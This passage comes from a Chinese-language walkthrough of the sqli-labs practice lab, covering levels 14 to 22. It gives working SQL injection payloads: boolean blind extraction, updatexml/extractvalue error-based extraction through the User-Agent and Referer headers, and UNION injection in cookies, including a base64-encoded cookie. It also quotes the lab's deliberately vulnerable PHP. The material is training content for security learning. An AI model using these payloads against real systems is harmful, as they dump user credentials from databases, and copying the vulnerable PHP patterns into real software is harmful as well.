      echo "</font>";  
}

Less-14

POST-Double Injection-Single quotes-String-twist(POST 單引號變形雙注入)

判斷資料型別

使用者名稱隨便寫點東西然後使用單引號閉合,使用 OR 運算子構造恆真條件,使用“#”註釋掉後面的內容注入。

網頁提示登入失敗,也沒有返回語法錯誤的提示資訊

a' OR 1 = 1#

註釋以下內容,統統都顯示登入失敗且無回顯

a') OR 1 = 1#
a')) OR 1 = 1#

使用雙引號閉合,此時網頁提示我們登入成功。因此網頁存在雙引號進行閉合的字元型注入漏洞,此時網頁也沒有返回任何資訊,我們需要使用 bool 盲注進行注入。

admin" OR 1 = 1#

我們使用 Burp 抓包測試

獲取資料庫資訊

判斷表有幾列:

uname=a" OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit,頁面返回正常

uname=a" OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit,網頁返回 SQL 語法報錯

所以,資料庫有 2 列

使用 length()函式結合回顯資訊得出資料庫名字長度為 8

uname=a" OR LENGTH((SELECT database())) = 8#&passwd=&submit=Submit

使用 substr() 擷取資料庫名字的每個字元,判斷其 ASCLL 值來判斷是否正確

uname=a" OR ASCII(SUBSTR((SELECT database()),1,1))>100#&passwd=&submit=Submit

最後得出資料庫的名字為“security”

繼續使用相同的方法繼續爆出表明、欄位名和其他資訊

PHP 檔案原始碼中的 SQL 語句

// connectivity
$uname = '"'.$uname.'"';
$passwd = '"'.$passwd.'"'; 
@$sql = "SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

Less-15

POST-Blind-Boolian/time Based-Single quotes(基於 bool 型/時間延遲單引號 POST 型盲注)

判斷注入型別

使用者名稱隨便寫點東西,使用單引號閉合,使用 OR 運算子構造恆真條件,使用“#”註釋掉後面的內容。

網頁提示登入失敗,並且沒有返回任何資訊

' OR 1 = 1#

嘗試使用括號製造 sql 語句報錯資訊,但是網頁仍然沒有回顯。說明此處只有透過登入成功或失敗來判斷注入情況,使用 bool 盲注或者時間盲注都可以

') OR 1 = 1#

使用 Burp 抓包

獲取資料庫資訊

我們使用 bool 盲注

判斷表有幾列

uname=a') OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit,登入成功,無 SQL 報錯

uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit,登入失敗,有 SQL 報錯

所以,使用單引號加括號閉合,並且有 2 列

獲取資料庫名的長度

uname=a') OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit

獲取資料庫名

uname=a') OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit

PHP 原始碼檔案 SQL 語句

// connectivity 
@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      //echo '<font color= "#0000ff">';	
  		
      echo "<br>";
      echo '<font color= "#FFFF00" font size = 4>';
      //echo " You Have successfully logged in\n\n " ;
      echo '<font size="3" color="#0000ff">';	
      echo "<br>";
      //echo 'Your Login name:'. $row['username'];
      echo "<br>";
      //echo 'Your Password:' .$row['password'];
      echo "<br>";
      echo "</font>";
      echo "<br>";
      echo "<br>";
      echo '<img src="../images/flag.jpg"  />';			

      echo "</font>";
}
else  
{
      echo '<font color= "#0000ff" font size="3">';
      //echo "Try again looser";
      //print_r(mysql_error());
      echo "</br>";
      echo "</br>";
      echo "</br>";
      echo '<img src="../images/slap.jpg"   />';	
      echo "</font>";  
}

Less-16

POST-Blind-Boolian/Time Based-Double quotes (基於 bool 型 / 時間延遲的雙引號 POST 型盲注)

判斷注入型別

使用者名稱輸入框,單引號閉合,OR 運算子構造恆真條件,使用“#”註釋後面的 SQL 語句

網頁提示登入失敗,未返回任何資訊

' OR 1 = 1#

注入以下的內容,頁面都是提示登入失敗

a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#

注入雙引號和括號,頁面提示登入成功,此處只能透過登入成功或失敗來判斷注入情況,使用 bool 盲注或者時間盲注都可以

") OR 1 = 1#

使用 Burp 抓包測試

獲取資料庫資訊

我們使用布林盲注

判斷表有幾列

uname=a") OR 1 = 1 ORDER BY 2#&passwd=a&submit=Submit,登入成功,無 SQL 報錯

uname=a") OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit,登入失敗,無 SQL 報錯

得出資料庫名字的長度

uname=a") OR LENGTH((SELECT database())) = 8#&passwd=a&submit=Submit

獲取資料庫名

uname=a") OR ASCII(SUBSTR((SELECT database()),1,1))=115#&passwd=&submit=Submit

PHP 檔案原始碼 SQL 語句

// connectivity
$uname = '"'.$uname.'"';
$passwd = '"'.$passwd.'"'; 
@$sql = "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

Less-17

本關卡有兩個 SQL 語句,其中一個進行了強效的過濾,我們需要發現第二個注入點。同時本關卡可以使用 報錯注入 進行攻擊

判斷注入型別

我們先按照網頁的功能走一遍,目測是更改密碼的頁面,輸入使用者名稱之後用新密碼覆蓋舊密碼

image-20240518092045723

我們切換到 Less-11,使用修改後的密碼進行登入,網頁提示我們登入成功,說明我們正常修改了密碼

image-20240518092148994

接下來判斷注入型別,使用單引號閉合構造恆真條件,網頁回顯密碼修改失敗

a' OR 1 = 1#

image-20240518092255120

測試一下所有的注入,發現這些注入網頁都回顯修改密碼失敗

a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

抓包得知網頁需要利用 Post 方法起腳的引數格式如下

uname=&passwd=&submit=Submit

接下來對新密碼欄位進行閉合測試,使用 單引號閉合仍然失敗

uname=a&passwd=a'#&submit=Submit

使用以下集中注入仍然全部失敗:

uname=a&passwd=a')#&submit=Submit
uname=a&passwd=a'))#&submit=Submit
uname=a&passwd=a"#&submit=Submit
uname=a&passwd=a")#&submit=Submit
uname=a&passwd=a"))#&submit=Submit

我們猜測可能是因為使用者“a”不存在的原因,我們輸入一個正確的使用者“admin”

uname=admin&passwd=a'&submit=Submit

image-20240518092722982

網頁回顯成功,並且報了一個 SQL 語句錯誤,說明 passwd 使用單引號進行閉合。同時我們可以推測這個關卡有兩次查詢,第一次查詢 uname,判斷使用者是否存在。第二次查詢是根據 uname 來修改 passwd,並且這個查詢存在注入點

updatexml() 報錯注入

我們將使用 updatexml() 報錯注入,該函式用於改變 XML 文件中符合條件的節點的值。函式原型為:

UPDATEXML (XML_document, XPath_string, new_value);

引數 說明
XML_document String,XML 文件物件的名稱
XPath_string Xpath 格式的字串
new_value String,用於替換查詢到的符合條件的資料

其中引數 XPath_string 需要是“/xxx/xxx/...”的格式,進行查詢時將會按照這個引數進行操作。注意:如果 XPath_string 是一個錯誤的路徑,但是該路徑符合引數規範,就不會報錯。反之,引數不符合規範,則會觸發報錯,我們就是利用這個,透過 updatexml() 函式的報錯回顯我們需要的資訊。

為了更好的理解 updatexml() 報錯注入,我們利用 updatexml() 函式獲取下當前使用的 MySQL版本

uname=admin&passwd=' OR updatexml(1,concat("!",version()),2)#&submit=Submit

image-20240518093819346

爆表明,XPath_string 引數可以使用一個SELECT 查詢結果,使用 group_concat() 函式聚合

uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#&submit=Submit

image-20240518094006501-1715996407383-1

爆欄位名

uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)#&submit=Submit

image-20240518094059871

獲取目標資訊

使用報錯注入回顯使用者名稱和密碼,發現網頁回顯“You can't specify target table 'users' for update in FROM clause”

uname=admin&passwd=' OR updatexml(1,concat('!',(SELECT group_concat(':',username,password) FROM users)),1)#&submit=Submit

image-20240518094224145

這裡我們無法直接從 users 表拿資料,我們可以先用一個暫存從 users 表中取出所有資料的查詢,然後再從這個暫存的表中取出資料。

構造出的 payload 如下,思路就是利用一個查詢從另一個查詢中取出資料,以此繞過表的限制

uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit

image-20240518094511679

透過修改 LIMIT 返回行,可以取出其他行的資料

PHP原始碼檔案中的SQL語句

// sql查詢語句
// check_input() 函式,對 uname 的值進行了過濾
$uname = check_input($_POST['uname']);  
$passwd = $_POST['passwd'];

// connectivity 
// 先查詢使用者名稱是否存在
@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

//echo $row;
// 只有使用者名稱存在了,才可以執行if中的update更新語句
if($row)
{
      //echo '<font color= "#0000ff">';	
      $row1 = $row['username'];  	
      //echo 'Your Login name:'. $row1;
      $update = "UPDATE users SET password = '$passwd' WHERE username='$row1'";
      mysql_query($update);
      //echo "<br>";	
	
      if (mysql_error())
      {
            echo '<font color= "#FFFF00" font size = 3 >';
            print_r(mysql_error());
            echo "</br></br>";
            echo "</font>";
      }
      else
      {
            echo '<font color= "#FFFF00" font size = 3 >';
            //echo " You password has been successfully updated " ;		
            echo "<br>";
	    echo "</font>";
      }
      
      echo '<img src="../images/flag1.jpg"   />';	
      //echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else  
{
      echo '<font size="4.5" color="#FFFF00">';
      //echo "Bug off you Silly Dumb hacker";
      echo "</br>";
      echo '<img src="../images/slap1.jpg"   />';
      echo "</font>";  
}
// check_input() 函式
function check_input($value)
{
      if(!empty($value))
      {
            // truncation (see comments)
          	// 限制了長度
            $value = substr($value,0,15);
      }

      // Stripslashes if magic quotes enabled
      // 判斷 get_magic_quotes_gpc() 是否開啟
      if (get_magic_quotes_gpc())
      {
          	// 開啟了,就對單引號、雙引號等危險字元進行轉義
            $value = stripslashes($value);
      }
      
      // Quote if not a number
      if (!ctype_digit($value))
      {
            // 若不是數字,使用這個 mysql_real_escape_string() 函式進行轉義
            $value = "'" . mysql_real_escape_string($value) . "'";
      }
      else
      {
          	// 是數字,則轉換為整型
            $value = intval($value);
      }
      return $value;
}

Less-18

POST-Header Injection-Uagent field-Error based (基於錯誤的使用者代理,頭部 POST 注入)

判斷注入型別

首先我們注入正確的使用者名稱和密碼,觀察到網頁回顯了 IP Address 和 User Agent。使用者代理 User Agent 是一個 HTTP 頭,使得伺服器能夠識別客戶使用的作業系統及版本、CPU型別、瀏覽器及版本、瀏覽器渲染引擎、瀏覽器語言、瀏覽器外掛等

image-20240518100137888

接下來注入個錯誤的使用者名稱和密碼,網頁顯示登入失敗且無其他回顯

判斷注入型別,在使用者名稱和密碼分別使用下面的所有注入,網頁都回顯登入失敗。

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

當我們登入成功時,網頁是回顯的User Agent,我們猜測 User Agent 頭可能存在注入。我們使用Brup抓包,注入各種引數試試,都登入失敗

我們推斷 uname 和 passwd 欄位都進行了強效過濾,我們注入正確的 uname 和 passwd 之後再次注入。此時發現當在 User Agent 注入單引號閉合時,網頁返回報錯資訊

User-Agent: '

image-20240518101002832

到此,我們得知在登入成功之後會執行另一個 SQL 語句,該語句會因為 User Agent 頭而存在字元型注入的漏洞

獲取資料庫資訊

由於我們不知道第二個SQL語句具體長啥樣子,因此我們要先測試如何正確閉合該SQL語句。

使用單引號閉合後,使用“#”註釋掉後面的語句,注入失敗

User-Agent: '#

注入2個連續的單引號,發現閉合成功,由此可見2個單引號分別閉合了兩側的單引號

User-Agent: ''

在注入的兩個單引號之間可以插入其他 SQL 語句,我們這裡放置 updatexml() 報錯注入語句。注意使用單引號閉合兩側的 SQL 語句時,相當於把它分割成了兩部分,插入 updatexml() 報錯時要用 OR 進行連線。

User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '

image-20240518101509487

知道了閉合方式之後,注入的步驟和 Less-17 差不多。

爆表明:XPath_string 引數可以使用一個 SELECT 查詢結果,使用 group_concat() 函式聚合

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '

image-20240518101704555

爆欄位

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '

image-20240518101748663

獲取目標資訊

使用報錯注入回顯使用者名稱和密碼,先用一個表暫存從 users 表中取出所有資料的查詢,然後再從這個暫存的表中取出資料

User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '

image-20240518101908241

透過修改 LIMIT 子句的返回行數,就可以取出其他行的查詢結果

PHP原始碼檔案中的SQL語句

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
      // check_input() 函式對uname和passwd進行了強過濾
      $uname = check_input($_POST['uname']);
      $passwd = check_input($_POST['passwd']);
	
      $sql = "SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
      $result1 = mysql_query($sql);
      $row1 = mysql_fetch_array($result1);
      if($row1)
      {
            echo '<font color= "#FFFF00" font size = 3 >';
	    $insert = "INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
	    mysql_query($insert);
	    //echo 'Your IP ADDRESS is: ' .$IP;
	    echo "</font>";
	    //echo "<br>";
            echo '<font color= "#0000ff" font size = 3 >';			
	    echo 'Your User Agent is: ' .$uagent;
	    echo "</font>";
	    echo "<br>";
	    print_r(mysql_error());			
	    echo "<br><br>";
	    echo '<img src="../images/flag.jpg"  />';
	    echo "<br>";
      }
      else
      {
            echo '<font color= "#0000ff" font size="3">';
	    //echo "Try again looser";
	    print_r(mysql_error());
	    echo "</br>";			
	    echo "</br>";
	    echo '<img src="../images/slap.jpg"   />';	
	    echo "</font>";  
      }
}

Less-19

POST-Header Injection-Referer field-Error based (基於頭部的 Referer POST 報錯注入)

判斷注入型別

首先我們注入正確的使用者名稱和密碼,觀察到網頁回顯了 IP Address 和 Referer。引用來源 Referer 是一個 HTTP 頭的一個欄位,用來告訴伺服器該網頁是從哪個頁面連結過來的。

image-20240518102310510

接下里注入個錯誤的使用者名稱和密碼,網頁顯示登入失敗且回顯了 IP Address

判斷注入型別,在使用者名稱和密碼都使用下面的所有注入,網頁都回顯密碼修改失敗

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

當我們登入成功時,網頁回顯的是 Referer,我們推測 Referer 頭可能存在注入。使用 Brup 抓包,注入正確的 uname 和 psswd 之後在 Referer 頭使用單引號閉合。此時發現當注入單引號閉合時,網頁返回報錯資訊。

Referer: '

image-20240518102708160

到此,我們得知在登入成功之後會執行另一個SQL語句,該語句會因為 Referer 頭而存在字元型注入漏洞

獲取資料庫資訊

我們開始測試閉合方式。先使用單引號閉合,使用“#”註釋掉後面的SQL語句,注入失敗

注入2個不連續的單引號,發現閉合成功,由此可見2個單引號分別閉合了兩側的單引號

Referer: ''

image-20240518103909944

注入步驟與Less-17差不多,這次我們使用 extractvalue() 報錯注入。extractvalue() 報錯注入和 updatexml() 報錯差不多,extractvalue() 函式對XML 文件進行子查詢的函式。函式的原型為:

extractvalue(XML_document, XPath_string)

引數 說明
XML_document XML_document
XPath_string Xpath 格式的字串

爆資料庫名,在注入的兩個單引號之間放置 extractvalue() 報錯注入

Referer: ' OR extractvalue(1,concat("!",database())) OR '

image-20240518104352475

爆表明

Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))) OR '

image-20240518104430976

爆欄位

Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'))) OR '

image-20240518104500284

獲取目標資訊

使用報錯注入回顯使用者名稱和密碼,先用一個表暫存從 users 表中取出所有資料的查詢,然後再從這個暫存的表中取出資料

Referer: ' OR (extractvalue(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)))) OR '

image-20240518104634815

PHP 原始碼檔案的SQL語句

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')

Less-20

POST-Cookie injections-Uagent field-Error based (基於錯誤的 cookie 頭部 POST 注入)

判斷注入型別

先輸入正確的使用者名稱和密碼進行登入,觀察到網頁回顯了大量資訊。再次重新整理,Less-20的頁面沒有變化,這應該是 cookie 起到的作用。

cookie 是網站為了辨別使用者身份,進行 Session 跟蹤而儲存在使用者本地瀏覽器環境上的資料。想要回到登入介面,我們需要清除 Cookie

判斷注入型別,在使用者名稱和密碼都使用下面的所有注入,網頁都回顯登入失敗

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

根據 Cookie 的作用和原理,網頁在使用者登入後,會利用瀏覽器記錄使用者的登入狀態,在使用者重新整理、重新登入或進入其他相關頁面時,不需要再次登入。

我們猜測,Cookie是一個注入點

Cookie: uname=admin',網頁回顯語法錯誤,說明 Cookie 存在字元型的 SQL 注入漏洞

image-20240518110019227

在單引號之後用“#”把後面的內容註釋掉,網頁回顯正常,說明該語句使用單引號閉合

Cookie: uname=admin'#

image-20240518110129390

獲取資料路資訊

首先我們判斷有幾列我們可用,因為網頁回顯了 Your Login name、Your Password、You ID一共3個欄位,猜錯有3列可用,使用聯合查詢注入3個常熟驗證猜想,得到 3 列的回顯位置

Cookie: uname=' UNION SELECT 1,2,3#

image-20240518110430277

接下來注入操作和 Less-1一樣,這裡需要在 Cookie 進行注入

爆資料庫名字

Cookie: uname=' UNION SELECT database(),2,3#

爆表明

Cookie: uname=' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema = 'security'#

爆欄位名

Cookie: uname=' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'#

獲取目標資訊

Cookie: uname=' UNION SELECT group_concat(concat(":",username,password)),2,3 FROM security.users#

image-20240518110557985

PHP原始碼檔案

// 驗證表單,用於使用者登入
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
      // 強過濾
      $uname = check_input($_POST['uname']);
      $passwd = check_input($_POST['passwd']);

      $sql = "SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
      $result1 = mysql_query($sql);
      $row1 = mysql_fetch_array($result1);
      $cookee = $row1['username'];
      if($row1)
      {
            echo '<font color= "#FFFF00" font size = 3 >';
          	// 設定 Cookie
            setcookie('uname', $cookee, time()+3600);	
        // 向客戶端傳送原始的 HTTP 頭部
	    header ('Location: index.php');
	    echo "I LOVE YOU COOKIES";
	    echo "</font>";
	    echo '<font color= "#0000ff" font size = 3 >';			
	    //echo 'Your Cookie is: ' .$cookee;
	    echo "</font>";
	    echo "<br>";
	    print_r(mysql_error());			
	    echo "<br><br>";
	    echo '<img src="../images/flag.jpg" />';
	    echo "<br>";
      }
      else
      {
            echo '<font color= "#0000ff" font size="3">';
	    //echo "Try again looser";
	    print_r(mysql_error());
	    echo "</br>";			
	    echo "</br>";
	    echo '<img src="../images/slap.jpg" />';	
	    echo "</font>";  
      }
}
// Cookie有效時間內,把Cookie中的uname剝離出來進行查詢
if(!isset($_POST['submit']))
{
      $cookee = $_COOKIE['uname'];
      $format = 'D d M Y - H:i:s';
      $timestamp = time() + 3600;
      echo "<center>";
      echo '<br><br><br>';
      echo '<img src="../images/Less-20.jpg" />';
      echo "<br><br><b>";
      echo '<br><font color= "red" font size="4">';	
      echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
      echo "</font><br>";	
      echo '<font color= "cyan" font size="4">';	
      echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];			
      echo "</font><br>";			
      echo '<font color= "#FFFF00" font size = 4 >';
      echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
      echo '<font color= "orange" font size = 5 >';			
      echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
			
      echo "<br></font>";
      $sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
      $result = mysql_query($sql);
      if (!$result)
      {
            die('Issue with your mysql: ' . mysql_error());
      }
      $row = mysql_fetch_array($result);
      if($row)
      {
            echo '<font color= "pink" font size="5">';	
            echo 'Your Login name:'. $row['username'];
            echo "<br>";
            echo '<font color= "grey" font size="5">';  	
            echo 'Your Password:' .$row['password'];
            echo "</font></b>";
            echo "<br>";
            echo 'Your ID:' .$row['id'];
      }
      else	
      {
            echo "<center>";
            echo '<br><br><br>';
	    echo '<img src="../images/slap1.jpg" />';
	    echo "<br><br><b>";
	    //echo '<img src="../images/Less-20.jpg" />';
      }
      echo '<center>';
      echo '<form action="" method="post">';
      echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';
      echo '</form>';
      echo '</center>';
}	
else
{
      echo '<center>';
      echo "<br>";
      echo '<font color= "#FFFF00" font size = 6 >';
      echo " Your Cookie is deleted";
      setcookie('uname', $row1['username'], time()-3600);
      header ('Location: index.php');
      echo '</font></center></br>';
}		

Less-21

Cookie Injection-Error Based-complex-string (基於錯誤的複雜的字元型 Cookie 注入)

判斷注入型別

輸入正確的使用者名稱和密碼登入,網頁回顯大量資訊,重新整理網頁無變化。

判斷注入型別,在使用者名稱和密碼都使用下面的所有注入,網頁都回顯登入失敗

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

抓包測試,發現Cookie中的uname的值是亂碼

image-20240518111245424

最後的%3D是“=”

“YWRtaW4=”解碼後為“admin”

由此我們得知Cookie會對uname的值進行base64編碼,這就是與Less-20關卡的區別,我們只需要將上一題目的注入內容都進行base64編碼之後再進行注入,即可完成題目

PHP原始碼SQL語句

setcookie('uname', base64_encode($row1['username']), time()+3600);

$cookee = base64_decode($cookee);
$sql = "SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result = mysql_query($sql);

Less-22

Cookie Injection-Error Based-Double Quotes-string (基於錯誤的雙引號字元型 Cookie 注入)

與上題類似,只是這次使用單引號閉合,網頁回顯語法錯誤

image-20240518111850999

我們使用雙引號閉合,網頁正常回顯資料,說明Cookie存在使用雙引號閉合的字元型的SQL隱碼攻擊漏洞。

Cookie: YWRtaW4iIw==

其他的都是與上題目類似,改為雙引號閉合即可

PHP原始碼檔案

$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
$sql = "SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
$result = mysql_query($sql);

參考部落格:sqli-labs 通關指南:Less 20 ~ 22 - 烏漆WhiteMoon - 部落格園 (cnblogs.com)

相關文章